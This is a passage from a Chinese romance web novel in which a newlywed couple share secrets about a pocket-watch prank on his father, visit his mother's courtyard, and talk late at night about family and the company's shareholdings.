他借着高大的身形挡住所有人的视线,不动声色地将祖父的怀表收入了口袋中,然后如常地燃香祭奠,将从天而降的那块怀表奉上,再出来迎他们。 梁奚禾笑起来:“和我猜想的一样。”又颇为遗憾地说,“可惜有了猫咪这段插曲,就吓不到他了。” 孟翰泽却说:“吓到了,不然他为什么突然落水?” “嗯?” 梁奚禾没跟上思路,“什么意思?他落水不是意外吗?” “是意外。” 他的眼眸沉了几分,“也是因为被吓到了。” 梁奚禾追问:“这是怎么回事?所以,另一块怀表呢?” 孟翰泽没有马上回答。 朦胧斑驳的光影中,他的眼神晦暗不明。梁奚禾凝视着他,没有察觉自己屏住了呼吸,因为突然窥见了另一个不再沉静、不再持重、不再君子的孟翰泽。 他也有情绪,也有爱恨,也在过往的年岁、无数个日日夜夜里捏紧拳头愤怒着。 此时此刻,在这间幼时的卧室里,在她面前,他摘下了完美的面具,露出了真实的情绪。 “我放到了他的大衣口袋里。” 借着错身的机会放了进去。 他说这话的时候,眼底闪着寒光。 梁奚禾自始至终迎着他的视线,并不觉得可怕,反而感觉同眼前的人越发亲近。 在这间暗室里,他们交换了秘密,分享了彼此并不阳光、摆不上台面的那一面,沆瀣一气、同流合污,成了最坚定的盟友。 她双手撑在桌沿,微微向前探身凑近他。 “我没想到我这么幼稚,你也差不多,竟然还会陪我胡闹。” 从一开始,梁奚禾就有清晰的认识,这种捉弄的伤害值太低,若姚德平是个不敬鬼神的人,那基本上就属于隔靴搔痒,白忙一场。 可她就是不甘心什么都不做,看着他人模狗样地在眼前晃来晃去,自己还要因为矮一辈而礼貌地同他打招呼,成全他的小人得志。 她背着光,一双葡萄眼却亮晶晶的,满是笑意盎然。 孟翰泽敛了情绪放缓了神色,抬手揉了揉她的发顶:“你是嫉恶如仇,不是幼稚。” 她只说讨厌姚德平,却不说为什么讨厌他。没有提起那些腌臜之事,体贴地保护着他的情绪。 他的眼底浮起笑意,真心实意地说,“禾苗,谢谢。” 梁奚禾很多年没被人揉过头顶了。小时候听说被摸脑袋会变笨后,她就再也不允许别人触碰她的“聪明门”。 可他的掌心温热,轻柔地覆上发顶,一触即离,快得在她躲避的条件反射发生之前就已经离开,让她只能愣愣地盯着他,心跳漏了一拍。 孟翰泽话锋一转:“不过以后不要做了。他……”似乎是怕吓到她,他含糊地说,“他不是一个好人,以后离他远一点。” 梁奚禾不知道有没有听进去,胡乱地点点头。 半晌,她拉回思绪,刻意无视耳尖的热度,干巴巴地问道:“那你,你怎么发现怀表是我扔的……” “影子。” 孟翰泽没卖关子,“你的影子就在我的脚下。” 梁奚禾:“……” 顿时被自己蠢到了,其他来不及整理的情绪全都被抛到脑后。 “我的天,我这种人去宫里争宠活不过第一集吧!!” 她简直要暴走! 孟翰泽认真:“你不需要跟谁争宠。” “比喻,这是一个比喻!” 恼羞成怒的人对着古板得连梗都接不住的人瞪了一眼。 这时,楼下传来一道女声:“翰泽!姚董落水了!” 底下人报信来了,不能再无视。 孟翰泽扬声回答:“知道了,我们马上下去。” 应了声,他却没急着下楼,问她:“你刚刚说怀表是从倪伯伯那里拿的,倪伯伯是哪位?” 梁奚禾跳下书桌,提着裙摆穿鞋,随口答道:“餐饮巨头倪大均。” 他“嗯”了一声。 两人走出房间,到了楼梯口,梁奚禾的脚步顿住。老房子的木楼梯,窄而陡,上来容易下去难,何况她还穿着高跟鞋。 孟翰泽下了两步台阶,朝她伸出手:“小心。” 她想了想还是脱了鞋,刚要俯身去提鞋,一只筋骨分明的手已经伸了过来,将鞋拎走。 梁奚禾一愣。 他另一只手仍旧伸向她,手掌向上,等着给她借力。 梁奚禾看看他,片刻后一手捏起裙摆,一手放到了他的掌心里。 他顺势握紧,将她整只手包裹住。 干燥和暖的触感传来,她屏息凝神注意脚下,侧着身子一步一步下楼。 不知过了多久,好像一步一顿走得很慢,又好似眼睛一眨,两人就到了楼下。 梁奚禾站在最后一级台阶上,孟翰泽俯身将鞋放到她面前,手没有放开,扶着她穿鞋。 等她穿好站稳,他才松开手,看向来人。 来喊他们的是高阔,她待客时脸上带着的清浅的笑意已经收起,但没有急色,像是说起一件平常的小事一般:“司机已经把姚董送去医院了,我爸爸陪着。” “好。”孟翰泽答道。 高阔从上衣口袋里拎出一只怀表:“你为什么让我把它带过来?” 孟翰泽接过来,递给梁奚禾:“帮我收好。” 又对高阔说,“你不知道什么怀表,没见过,今天也没去过祠堂。” 高阔顿了两秒,马上笑起来:“知道了,你快去观莲堂吧,我陪少奶奶慢慢走。” 孟翰泽颔首,临走前跟梁奚禾说:“禾苗,你跟着阔姐就行,什么都不用做。” 梁奚禾点点头。 她低头看向手中,明明是把她弄来的怀表还给她,他却说帮他收好。 梁奚禾随着高阔走去前面,开始不熟悉的两人没有闲聊。 这么冷的天,姚德平突然落水,家里也算发生了大事,她们各自做着表情管理。 后来途径一段鹅卵石铺装路面时,高阔出手扶了她一把。 梁奚禾道谢,高阔笑笑:“少奶奶,不用跟我客气。” 她没忍住纠正这个称谓:“不如叫我Thea吧。” 高阔笑意更深,爽快地说道:“好啊。说实话我也不习惯这么称呼,我跟翰泽还有涵涵从小一块儿长大,都是直呼其名的。” 梁奚禾:“你在孟家长大?” “对啊。我妈过世后,孟爷爷看我可怜就让我爸把我带来松鹤园了。按照古代的说法,我这种就叫家生子吧。” 梁奚禾无语:“……姐姐,就别古代了吧。” “哈哈哈!” 两人聊得开心,一直到了观莲堂才极力露出凝重的神色。 孟淑慧正向梁茂林夫妇表达歉意:“好好的出了这档子事,真是招待不周。” 梁茂林:“事出意外,谁也没想到他会突然往后退。” 对于姚德平当时惊恐万分甩在茶几上的怀表,他虽有疑惑却不好多说。他是坚定的唯物主义者,相信此事定是人为,至于其中隐情,留待主人家自己查证。 只是很担心地看了一眼走进来的女儿。 孟家母子人品贵重,可孟家这潭水却太深了。他的禾苗不谙世事,可千万不要被卷入其中。 孟淑慧将他的忧色看在眼里,意有所指地说道:“松鹤园年久失修才会发生这种事,我一定派人好好修缮。往后禾苗和翰泽住在双子大厦,没事不会让他们回这边。” 她是让梁茂林放心,她不会让禾苗触碰到孟家这艘大船内部的腐朽。 奚云岚:“孟姐姐,那我们就先走了。” 似是感念她对自己女儿的照拂,一向不跟谁热络的奚总主动在称呼上拉近了一步。 “禾苗。”奚云岚的目光扫过高阔,看向梁奚禾,“你陪着妈妈,不要乱跑。” 梁奚禾对着父母牵挂的眼神,心里发虚。他们肯定看出来今日的事不同寻常,但绝对想不到自己女儿才是始作俑者。 她摸摸鼻子,“哦”了一声。 孟淑慧说道:“我也回山上去了,禾苗随我一起吧。” 送走了梁茂林夫妇,孟淑慧叮嘱高阔:“怀表怎么会突然出现,必须得查。另外,除了观莲堂的栏杆修缮,家里其他地方也得好好检修,尤其线路老化要格外重视,免得关键时刻连监控都用不了。” 高阔对上她的视线,听懂了言下之意,笑道:“您放心吧。” 孟淑慧才牵着梁奚禾离开。 上了车,她问:“禾苗,你觉得高阔怎么样?” 第26章 梁奚禾夸道:“干练、爽朗。” 听到她对高阔的印象很正面,孟淑慧才放心一问:“如果把她调去双子大厦给你们当管家,你觉得好不好?” 西楼的事务梁奚禾不会插手,不假思索地说:“这事您跟孟翰泽商量吧。” 她想都没想就推拒,孟淑慧怕她误会自己这个当婆婆的手伸得太长,记起第一次见面时两人直接有效的沟通气氛很好,她马上解释。 “禾苗,妈妈是出于两重考虑。第一重,简腾是个男孩子,照顾翰泽的日常起居还可以,我怕你跟他相处会觉得不太方便。 “第二重,以后你免不了在外走动,总得有个利索的人帮衬着你应酬孟家这边的亲戚朋友。我想来想去高阔最合适,年轻一辈里她最了解孟家的人情往来。当然,我觉得合适不重要,重要的是你们的想法。” 她愿意为了儿媳下山,但没打算重返交际圈理会外面的纷纷扰扰。孟家内部不和谐,外头的关系网也复杂,远的先不说,单是一个姚德容就够难缠的了。别人家的新媳妇都有婆婆带着护着,她到底不忍梁奚禾独自应付。 “谢谢妈妈,您的好意我先心领了,至于更换管家一事,我都听孟翰泽的。” 梁奚禾打了个太极,全都推给孟翰泽。截至目前,她都不认为自己会跟孟家产生过多交集。 孟淑慧很有边界感地也不再多说什么,她提供一个人选供他们考虑,至于选不选那就是小两口自己的事了。 车子驶入御景湾。 梁奚禾下了车,站在院门前仰头看木质匾额上“满觉院”三个黑色大字。 孟淑慧走进院中,见人没跟上来,回头招呼她:“快进来吧,禾苗。” 梁奚禾朝她笑笑,站在原地看着她的背影若有所思。 满觉,她知道是佛教追求的一种圆满的觉悟的状态。 所以,孟淑慧将自己锁在这个小院中整整十五年,就是为了追求圆满的觉悟吗? 那是对什么的觉悟呢? 爱情,还是金钱? 梁奚禾不太理解。 渣男该扔就扔,爱情本来就是可遇不可求的,既然没遇到,为什么不能好好爱自己呢? 如果是怕失去一半的孟氏就更没必要了,壁虎尚且断尾求生,人怎么能为了身外之物困住自己一生呢? 不过,未经他人苦,莫劝他人想开,她呼了口气,将胡思乱想甩开,迈步跟了上去。 孟淑慧在玄关等她,给她介绍:“这位是章姨,从年轻的时候就陪着我了。” 梁奚禾从善如流地喊了声“章姨”,谁知对方竟然掏了个红包出来。 “少奶奶好,第一次见面,这是我和你们凌叔的小小心意。” 哪有阿姨给东家红包的道理,梁奚禾惊讶地看向孟淑慧。见孟淑慧点点头,她明白过来,章姨和凌叔在孟家恐怕不是普通的工人。 红包以后能有很多种方式还回去,她没有推拒这份好意,接过后笑道:“谢谢章姨。您是长辈,以后还是喊我名字吧,我叫梁奚禾。” 孟淑慧笑着对章姨说:“我们禾苗一向直来直往,最好相处不过了。” 一句“长辈”听得章姨也眉开眼笑:“禾苗喜欢吃什么?我去准备下午茶。” 梁奚禾刚吃过中饭没多久,不太饿,只说让她看着准备。 孟淑慧带着她参观,从卧室到佛堂,梁奚禾入乡随俗燃了炷香拜了拜,最后两人停留在书房里。 书房南墙和西墙各有一扇一米八宽的大落地窗,此时阳光极好,一片金辉洒在房内,让人心情都明朗起来。 近窗放着明式的黄花梨木六抽书台和麒麟圈椅。台子上和田玉六合同春笔枕、大红酸枝螭龙灵芝纹笔挂、金丝楠阴沉木都承盘……年代和风格都不统一。 孟淑慧介绍的时候眼里都是幸福的笑意:“这些都是翰泽满世界寻访回来送给我的珍品。” 靠着东墙是一排书架,也作博物架,而北侧则是茶台。 梁奚禾想起第一次跟孟翰泽见面,他泡的金骏眉清香甘甜,想必平时没少陪母亲喝茶。 这时,孟淑慧问:“禾苗最喜欢喝什么茶?” 她脱口而出:“金骏眉吧。” 说完自己也一愣,她平时习惯喝温水,陪奚云岚的时候会喝英式红茶,偶尔梁茂林分给她一杯普洱,金骏眉也就喝过那一次,哪来的最喜欢? 孟淑慧坐到茶台前,让她随意走动,看看字画,不用拘束。 书台上有一幅画到一半的国画,大面积火烧云一般的乌桕树掩映着白墙黛瓦,画的正是御景湾。 梁奚禾:“妈妈,您的作品吗?” “是呀。你觉得我画得怎么样?” “笔法细腻,技艺高超,有种宁静致远的意境。” 孟淑慧笑:“过奖了。”又问,“禾苗喜欢写写画画吗?” 梁奚禾坐到圈椅上,反身趴在椅背上,后背被透过玻璃照进来的阳光晒得暖融融的。 “我喜欢画漫画,那种局部夸张的日式风格。”她照着自己的眼睛比划,“会把五官尤其眼睛进行强调的画法。” 婆媳俩就着画画这个话题一直往深里聊。傍晚,孟翰泽到满觉院时,她们二人正并排坐在书台前,一个画国画,一个画漫画,各得其乐。 他倚在门框上安静地看着,夕照给两人的背影镀上了一层柔光,他的心也如软糖一般。 章姨过来找他说话,他站直了身子竖起食指放到唇边,示意她噤声。 两人离开书房,到廊下说话。 章姨:“姚董怎么样?” “肺部积水,要住院几天。” 章姨“哼”了一声:“祸害遗千年,算他命大。” 说完想起来那人毕竟是眼前这位的亲生父亲,顿感尴尬,嗫嚅着说,“我,我不是那个意思……” 孟翰泽没什么表情:“嗯,这话以后就不要说了。” 他不希望别人给母亲惹麻烦。 章姨半是惶恐半是认真地点头:“我,我去看看晚饭准备得怎么样了。” 直到天色暗下去,屋内亮起灯光,书房的两人才意犹未尽地停笔。 梁奚禾画的是下午婆媳俩交谈的场景,一个泡茶一个窝在圈椅中,表现形式夸张,融洽和乐的气氛就更为外放。 孟淑慧拿在手里一个劲地夸,夸完就问:“可以送给我吗?” 梁奚禾说:“当然。” 她便喊道:“章歆!” 孟翰泽在客厅处理工作邮件,听到声音就起身往书房里走,章姨也匆匆赶到。 “快,找人裱起来。”孟淑慧在满满当当的书房里逡巡一圈,最后指着百宝嵌松鹤遐龄小插屏道,“把这个收到库房里去,位置腾给禾苗的漫画。” 梁奚禾受宠若惊:“妈妈,您夸夸就得了,不用这么给面子的。” 孟淑慧:“我不是表面功夫,是真喜欢。中式美学一向讲究内敛,借书画表达情感也是尽量收着,但你这幅画里,两个人有那么直接的眼神交流,很有感染力,我受到了触动。” 于画画一事上,这是梁奚禾第一次受到表扬,还是这么具体的表扬,自信如她都听得有些不好意思。 看到葡萄眼中光芒愈盛,站在门口没进来的孟翰泽唇角轻扬,开口道:“把画给我吧,明天我去装裱。” 梁奚禾才注意到他,微扬着下巴:“那你要小心,不许弄坏我的画。” 孟翰泽笑意渐深:“梁大师大作,我一定小心爱护。” 什么梁大师? 梁奚禾觉得他在揶揄自己,瞪了他一眼,偏过头问章姨:“章姨,我饿了,可以开饭吗?” 章姨连声道好。 中午吃得油水太足,晚上就一切从简,厨房做了清粥和几个小菜。 孟淑慧听到姚德平要住院,没想发表什么看法,只关注着梁奚禾:“酸辣土豆丝还挺爽口的,禾苗尝尝。” 梁奚禾的筷子都要伸到盘子里了,孟翰泽将那盘土豆丝端远了一指距离。 “你不能吃辣。” 梁奚禾:“……就尝一口没事。” 孟淑慧上次探病只以为她是着凉,今天听孟翰泽说了才知道还有胃痛这回事,当下将酸辣土豆丝又撤远几分。 “以后你不能吃辣的。章歆,明天早饭不要汤圆,换成好消化的。” “好的好的,我记住了。以后禾苗回来,不会让厨房准备辣菜,糯米的东西也不吃。” 梁奚禾:“……” 想说不至于,又突然意识到另一件更重要的事。 明天……早饭? 她看看孟淑慧,又看向孟翰泽:“今晚我们不回去吗?” 孟翰泽刚想说要回,孟淑慧已经答道:“我前两天把你们房子好好收拾了一下,禾苗的睡衣啊换洗衣服啊也都准备了,今晚就放心住下吧。不过我都是按涵涵喜欢的牌子买的,禾苗要是不喜欢,我们改天重新买,今晚将就一下吧。” 梁奚禾:? 章姨搭腔:“太太特地找了邻居林太太来铺的床,她是全福之人,会给你们添福气的。” 梁奚禾:?? 对着两双慈爱的眼睛,她第一次被“盛情难却”绑架住了,拒绝的话难以说出口。 孟翰泽不想令她为难,开口解围:“禾苗认床,我们还是回双子大厦。” 孟淑慧善解人意地“哦”了一声,笑容也没淡化,将大煮干丝放到梁奚禾面前:“禾苗吃这个。” 梁奚禾夹了一筷子配了口粥,想想反正自己在西楼也不是没留宿过,没必要让长辈失望,于是对孟翰泽说道:“我们还是住下吧,妈妈都准备好了。” 孟翰泽蹙眉:“你确定?” 他意有所指地暗示,“这里不太方便。” 她不察:“你这话说得好像我是很挑剔的人一样,哪有什么不太方便的?” 孟淑慧笑道:“那就住下吧,你们开夜车下山我也确实不放心。不过有什么不方便要跟我讲哦,没什么挑剔不挑剔的,自己家就要住得舒服。” 孟翰泽也不能明说,深深地看了梁奚禾一眼。 饭后小坐了一会儿,小两口就回去自己的院子。 从满觉院出来,四米宽的柏油路两侧交错布置了路灯,怕影响住户的休息,照度比市政道路偏低。昏暗的光线中听到山风吹过树叶发出沙沙声,在席卷全身的凉意中,梁奚禾抱着胳膊往孟翰泽身边靠了靠。 好在孟翰泽的院子不远,与满觉院只隔了一栋房子,据说那是姚以涵的院子。 他平时不住这边,只有初一、十五来陪母亲上香,或者偶尔有空时才会来住,就没配单独的管家,一直由章姨代管。 这会儿,院子里没有人,孟翰泽刷指纹进门,梁奚禾抬头看匾额。 “无远弗届”四个大字。 与他并肩走进院子,她问:“你这里叫无远院,还是弗届院?” 问完自己先笑了,“好像老和尚住的。” 孟翰泽:“……” 看了她一眼,他没接这个话茬,站在玄关处将总控开关打开,给她打预防针,“希望你待会儿还能笑得出来。” 梁奚禾:? 她莫名其妙地进屋参观,孟翰泽去给她倒水。 这栋楼是两层的,一楼除了餐厨客厅,还有带衣帽间的卧室、书房、健身房各一间,她逛完登上楼梯。 孟翰泽突然听到她喊自己,走到楼梯口仰头:“怎么了?” 梁奚禾指着二楼,问:“这里怎么是空的?” 不仅空,还特别小,只是一个斜坡尖顶的小阁楼。 孟翰泽沉默两秒才实话实说:“这是将来作儿童房用的。” 御景湾的房子虽然贵,但是不大,很多都只有一层平房,只有他跟姚以涵的房子带一个小阁楼,这是当年设计时孟淑慧提议的,考虑到未来他们带孩子居住的情况。 儿童房? 梁奚禾大脑当机了片刻,才想起来问:“那今晚我住哪儿?” 第27章 梁奚禾抱着胳膊站在卧室门口,看着孟翰泽从衣帽间里抱出睡衣,还有一床空调被。 “你确定盖这么薄的被子?晚上会冷的。” 孟翰泽顿了顿:“没有其他被子了。” 这个家里只备着两床被子,一厚一薄,厚的在床上,自然给她盖。 话虽然是实话,但听起来有点像卖惨,为表示没有别的意思,他又加上一句,“客厅沙发是羽绒填充的,空调开了制热,不会冷的。” 这里其实有装地暖,但孟淑慧一向不主张浪费,房子平时空置就没开,他偶尔来住就打空调。 梁奚禾见他把被子平铺到沙发上,越看越薄,不禁起了恻隐之心。 “要不……”她开口。 孟翰泽直起身子,看向她:“什么?” 她停顿了下,艰难地说:“要不我们还是回城里去吧。” 回头找个什么借口在长辈面前圆过去算了。毕竟她刚经历过伤风感冒,又是发烧,又是鼻塞喉咙痛的,没必要让他也着凉生病一次。 孟翰泽觉得没什么,但她想回去,他也不会犹豫。 “好。” 两人都没换衣服,车钥匙也在口袋里,说走就能走。出了门,外面风比刚刚大了很多,梁奚禾觉得有点冷,边走边低头拉上拉链。 孟翰泽刚开了院子的大门,正碰上准备按门铃的章姨,他及时刹住脚步,梁奚禾却一时不察,直直地撞了上去。 “哎呀!” 像撞上了一堵覆着薄绒的坚实的墙,她后退半步,不满地问,“你干嘛突然停下呀!我鼻子都要撞歪了!” 没听到他的回答,反而听见:“你们要出去吗?” 乌漆嘛黑,突然出现一道女声,梁奚禾完全没有心理准备,吓了一大跳,下意识地又躲到孟翰泽背后。 背心被她紧紧依靠着,他身形僵了片刻才缓过神回答章姨:“我们准备……” “准备去吃夜宵吗?”章姨一副看穿了的样子,笑着说,“我就知道,你们年轻人消化快,喝那一小碗粥怎么会顶饱。” 梁奚禾听出她的声音,探出头:“章姨?” 章姨朝她扬起手里的三层食盒:“云吞,面条,还有面粉摊的蛋饼,禾苗喜欢哪个就吃哪个,剩下的给翰泽就行了。” 把食盒往孟翰泽怀里一塞,章姨挥挥手就走了,走了两步又回头,“吃好你们就放着,明早我来收。哦,明天起来,毛巾啊被子啊都不用管,都有人收拾的。” 以往孟翰泽起床后就习惯性铺好床,根本用不着她们,但她不想给梁奚禾留下底下的人光拿钱不干活的印象。往后太太要把管家权交给儿媳妇,说到底一朝天子一朝臣,工作不饱和的人说不定就被辞退了。 梁奚禾不知道她心里的小九九,只觉得本来偷偷溜走已经很打脸了,现在夜宵都送来了,还走,就显得不太近人情了。 她看看食盒,又看看孟翰泽:“孟总,那只好委屈你今晚睡沙发了。” 孟翰泽对此没什么意见。 两人回到屋内,梁奚禾不想大晚上吃那么多碳水,一样都不吃。但他是真的饿了,将云吞倒进面条里,坐在餐桌前慢条斯理地吃起来。 梁奚禾站在一旁喝着温水,饶有兴致地问道:“孟翰泽,你吃得不少哎,可为什么身材这么好?是因为平时会健身吗?” 她几次触碰到他,胳膊、背脊,都是硬邦邦的,肌肉很紧实的样子。 “身材这么好”,孟翰泽听到这句,咀嚼的动作一滞。 不太习惯应对她这种夸奖,当然也不讨厌,他言简意赅地有问必答:“会。” 梁奚禾眼睛一亮,继续采访:“那练出肌肉了吗?有几块腹肌?” 她只是单纯好奇,没意识到话题走向有点界限不明,孟翰泽的筷子却是一顿,抬眸看看她,含糊其辞:“……没数过。” 梁奚禾点点头,只当他暂时还只有一块,就善解人意地没再追问,放下杯子:“那我先去洗澡了。” 人一走,孟翰泽总算能平静地吃下去。 孟淑慧是真的很贴心周到的婆婆,沐浴露、沐浴油还有磨砂膏都准备了,洗发水也准备了分别适合干性头皮和油性头皮的。 梁奚禾冲过澡想护肤时,又发现除了适合不同肤质的护肤品,竟然还有去疤痕的药膏。她脸上的伤口,孟淑慧也一直惦记着。 擦好脸上了药,她对着镜子吹头发,不自觉地出了神。比起奚云岚指教女儿时惯性的强势,孟淑慧尝试靠近儿媳时是和风细雨、令人舒适的,所以她们才见过两面就觉得特别亲近。 她又想起孟翰泽。 他的骨子里大概继承了母亲的温柔,竟然让她对他也这么莫名其妙地熟悉起来了,明明一开始打算对这样城府深沉的男人敬而远之的。 人跟人之间真是太玄妙了。 收拾利落,梁奚禾裹上毛绒绒的长睡袍出去喝水,餐厅里深沉的男人正将碗筷收进食盒内,用厨房湿巾清理了桌面。 这副宜室宜家的模样,她已经习惯成自然,喝了两口水,真心实意地夸一句:“孟翰泽,谁娶了你这样二十四孝的老公,一定是上辈子拯救了银河系。” 孟翰泽抽了纸巾擦手,再次深深地看了她一眼。真像一只迷糊地能撞树上的雪兔。 梁奚禾说完也反应过来,这人法律上是自己老公来着,不管谁上辈子拯救了银河系都没机会了。 尴尬地清了清嗓子,她说了“晚安”就回卧室刷小视频去了。 明明在同一个时区,也不知道为什么,山中的磁场比城里更让人生出困意,玩了没一会儿,才九点,梁奚禾就困了。 手机往床头柜上一扔,熄了灯,她倒头就睡。客厅里,孟翰泽应该还没有休息,光线从门缝里漏进来少许,细薄的一线灯光,不亮,但令人分外安心。 梁奚禾很快睡着,也不知道过了多久,忽然外面传来小孩儿的哭声,特别近,似乎在窗外,迷迷糊糊间,又似乎就在耳边。 梦境随之一转。 她的杜卡迪贴着山道右侧开,跟着夏末和姚博远,山风呜呜咽咽中,他们拐过了一道弯。 突然前方拔地而起一个门楼,像小时候看的《聊斋》又像《西游记》里的特效,她大惊,紧急捏了刹车,可前面两人却像毫无知觉一般没有减速,直直地冲了进去。 那是福寿园啊! 意识到这一点,她整个人颤抖起来,想调转车头却发现油门不听使唤地转动,杜卡迪加速冲刺,也要将她吸进门楼中去! “啊——” 梁奚禾猛然睁开眼睛,尖叫着坐了起来,茫然地转头到处看,一片漆黑,而窗外,那像哭声又不像哭声的声音还在继续。 她打了个寒噤,飞快地回身去摸床头的开关,一时着急,竟然扑到了地上! 膝盖跪到地上,“咚”地一声响,她疼得眼泪都出来了。 这时候,顶灯亮起,孟翰泽顾不上礼仪推门而入。 “禾苗!你怎么了?!” 就看到她跪倒在地,人趴在床头柜上头埋在臂弯里。 他吓了一跳,大步迈过去扶上她的肩膀,不知道发生了什么不敢晃动她,只着急地询问:“禾苗,禾苗,你怎么了?” 梁奚禾抬起头,一双葡萄眼泪汪汪地看着他:“我摔下来了。” “摔哪儿了?” “膝盖……好疼啊……” 闻言,他俯身将人打横抱起放回床上,将睡裙的下摆撩起查看情况,见两个膝盖都红红的,问道:“都摔到了吗?” 梁奚禾摇头:“右腿。”是先着地的那条腿。 他的手握上她的小腿,逐渐用力让她尝试着缓慢屈伸膝盖。 “怎么样?有没有比刚才更痛?或者感觉关节被卡住?” 梁奚禾还是摇头:“没有,感觉比刚刚好多了。” 因为疼痛产生的生理性泪意也退了下去,她的眼神又恢复清亮。 那就没有骨折或者严重软组织挫伤,孟翰泽放下心来,突然意识到自己的手还握着她的小腿,飞快地收了回来。 不可能再像刚刚情急之下去触碰她的裙摆,他将被子拉过来将她盖住,才长出了一口气。 “怎么会掉下床?” 他直起身子,找了个问题转移注意力。 这一问,梁奚禾才注意到外面的叫声不知道什么时候已经没了,也不知道刚刚是她幻听还是真实存在过。 “刚刚是野猫吗?” 孟翰泽在处理工作邮件,没有注意。 见他好像没听到,顿时她所有关于梦境的回忆和那种真实的恐惧感一齐涌上来。 她将身子往被子里缩了缩,仰头问他:“孟翰泽,你知道御景湾附近有一片公墓吗?” 孟家几代人的墓地就是那片公墓中辟出的一角,孟翰泽当然知道,他点点头。 她蹙着眉心,咬起唇角:“我害怕……” 孟翰泽短时间内尚未想到该如何安抚她,她已经将被子一扯团到自己身边,空出了一半的床。 “你进来陪我睡吧。”她干脆地说。 孟翰泽:“……” 同处一室和同睡一床的概念不一样,他不能答应,看了眼窗边的沙发,“我坐在这里,等你睡着了再走。” 梁奚禾本就怕神神怪怪的东西,昨晚因为研究姚德平立碑镇魂的帖子,灯亮了大半夜还是睡不着,最后是把雷迪挖起来陪她睡的。 这会儿,她想不到什么男女大防,加上生病的时候受他的照料,潜意识里已经对他有了依赖性。 她眼睛一瞪:“你坐在那里我一睁眼就是一个黑漆漆的人影,不是更可怕吗?你就睡到这里怎么了,我又不会吃了你!” 孟翰泽还在犹豫,她问,“你不是说没有女朋友吗?干嘛一副守身如玉的样子?” 搞得她像个逼良为娼的恶徒一样。 “……” 两人现在根本不在同一频道,孟翰泽再反对就越描越乱。 他到客厅将空调被抱了进来,将顶灯关掉,留了墙脚的小夜灯,贴着床边躺下,柔声说道:“睡吧。” 梁奚禾也躺下来,用身体将被子的边角都压住,脚边也折进来,像包了北京烤鸭的荷叶饼,除了头上不留一丝缝隙,好像这样才能将莫须有的东西都隔绝在外。 她看了眼平躺得规规矩矩的孟翰泽,交代:“你不要背对我哦。” “嗯。”他侧过头,安抚,“在你睡着前,我不会睡着。” 小时候哄妹妹也是这样,他知道怎么能令她安心。 梁奚禾轻轻地“嗯”了一声,闭上眼睛。 平躺的姿势她维持不了多久,过了一会儿就侧过了身,面朝外,放心地把后背留给他。 可是已经睡过一觉,这会儿她毫无困意,辗转反侧就是睡不着。 就算没答应她不会先睡,孟翰泽也睡不着。身边的人毕竟不是小时候的妹妹,他也不是小时候的自己。 孟翰泽闭目养神,调整着呼吸,可不能视物时,其余的感官分外敏感。 他听到了她的呼吸,因为入睡困难她时不时会作个深呼吸,细密绵长的气息让人耳尖都泛着痒意。 他还嗅到了橙子香气,不知道来自洗发水还是沐浴露……一想到沐浴露,他的眼前是裙摆堆叠处的肌肤,白皙,滑腻…… 孟翰泽猛地握起手指睁开了眼睛,呼吸短暂的凝滞间,他不动声色地将靠近她那侧的腿支起。 轻薄的羽绒被形成一片中空,让人无法窥视被中情景。 旁边,梁奚禾放弃了与入睡困难作斗争。她翻身一滚,趴在了他身侧,抬头问道:“孟翰泽,你困吗?” 呼吸与橙香猝不及防地逼近,他喉头滚动,目不敢斜视。 过了片刻,他开口,声音有些喑哑,不过掩饰得很好。 “不困,怎么了?” 梁奚禾笑起来:“那我们先别睡了吧。” 第28章 孟翰泽不敢看她,可气息不以他的意志为转移,强势地钻入鼻腔。 他将头侧到一边,沉着声问她:“你想做什么?” 话里有他自己都尚未察觉的期待。 夜灯昏黄微弱的光线中,梁奚禾只能看到他的轮廓,挺直的鼻梁在面中投下一片三角阴影。 看不清楚他的神色,她凑得更近一些,询问:“姚董肺部积水严重吗?会引发肺炎什么的吗?” 因为抱着幸灾乐祸的不良居心问的话,她下意识地压低了声音,就像耳语那般。 孟翰泽平生第一次意识到私房夜话竟能如此撩动人的心弦,让他这会儿别说肺炎不肺炎了,就连姚董是谁都需要反应十秒钟。 他抬起右手按了按太阳穴,又捏了捏眉心,恢复几分清明才答:“怕肺炎,所以住院一段时间。” “一段时间是多久?” “我没问医生。” 姚德平身边不缺人跑前跑后,也不缺人嘘寒问暖。他只是出于人道主义,出于为人子女的责任,露了个面。 事实上他到医院的时候,邵珊珊早就赶到。以往她碰上他还知道避着点,这次就像急于证明患难见真情一般,一边伺候姚德平,一边与医生沟通,衬得他这个名正言顺的儿子倒像个外人。 梁奚禾一双葡萄眼若有所思地转动。 “那如果他住院一段时间,你是不是就可以接管孟氏啦?就像古代皇帝病危,让太子监国那样?” “嗯。” 将话题扯远几分,孟翰泽觉得太阳穴突突跳动的响声弱了一些,他略松了口气,忍不住抓着救命稻草一样就着话茬说开去。 “接下来,我会代为住持工作。马上年底了,孟氏要处理的事情不少,尤其跟梁氏共同成立新公司的事情刚刚通过了董事会决议,不日就要启动……” 梁奚禾这些具体事情不感兴趣,毫不留情地打断了他:“那你有没有信心趁这次谋朝篡位啊?” 觉得这个词偏贬义,她立刻纠正,“夺回孟氏?” 孟翰泽沉默,那双一贯明媚的葡萄眼在夜灯中依然闪闪发亮,期待着他给出一个肯定的答案。 可现实生活不是爽文,事情没那么简单,他只能如实回答:“不能。” 梁奚禾问:“为什么?是股权问题吗?” “嗯。” 孟氏没有上市,但因老一辈创始人的遗产分割以及其他因素,股权穿透极其复杂。三言两语说不清,他大而化之地解释,“爷爷拥有孟氏60%的股份,去世时平分给了我们一家四口,所以我和母亲、妹妹加起来只有45%。” 这些股份有直接持股,也有间接持股,但不论形式如何,折算在他们仨手里,满打满算才45%。 姚德平虽然只有15%,可其他股东信服他,愿意跟他成为一致行动人,那么孟翰泽还是拿不到孟氏的控制权。 但生意场上没有永远的朋友,只有永远的利益。只有当孟翰泽证明他比姚德平更能带着大家赚钱,那帮股东,所谓的世交才会真正站到他这边。 所以,他找梁氏合作,给孟氏,也给自己谋划一条新的出路。 梁奚禾感到遗憾:“啊……我还以为会有戏呢。” 孟翰泽怕她失望,侧头看她:“禾苗谢谢,这次你帮了我很大的忙。” “有吗?” “当然,让我有了更多主动权。” 她今天就像一位台球新手,不按常理出牌地来了一记大力出奇迹,反而让一向中规中矩的他在姚德平的全方位压制中寻到了一丝裂隙。 他跟姚德平在对孟氏未来的规划中南辕北辙。姚德平想让孟氏多元化发展,他上位后进军房地产业尝到了甜头,现在又将目光投向了娱乐、科技等对孟氏来说完全全新的领域。 